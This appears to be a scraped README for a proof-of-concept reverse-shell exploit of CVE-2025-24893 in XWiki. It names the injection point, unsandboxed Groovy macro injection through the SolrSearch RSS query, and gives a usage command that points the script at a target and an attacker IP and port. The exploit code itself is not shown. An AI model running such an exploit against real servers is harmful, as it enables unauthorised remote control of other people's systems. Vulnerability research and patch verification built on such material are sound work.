Reverse Shell Payload for CVE-2025-24893
# CVE-2025-24893 - XWiki Remote Code Execution Exploit
> **PoC for CVE-2025-24893 – XWiki `<groovy>` Macro Remote Code Execution**
> Inspired by [Artemir's original PoC](https://github.com/Artemir7/CVE-2025-24893-EXP)
---
## Description
This is a Proof-of-Concept (PoC) exploit for **CVE-2025-24893**, a Remote Code Execution (RCE) vulnerability in vulnerable versions of **XWiki**.
The flaw lies in the improper sanitization of user input within the `SolrSearch` endpoint, which is vulnerable to unsandboxed `<groovy>` macro injection via an RSS feed query.
This script injects a Groovy payload using the `async` macro that results in **command execution on the server**, allowing an attacker to trigger a **reverse shell** back to their system.
---
## Usage
```bash
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>
登录后查看神龙缓存的 POC 文件快照
登录查看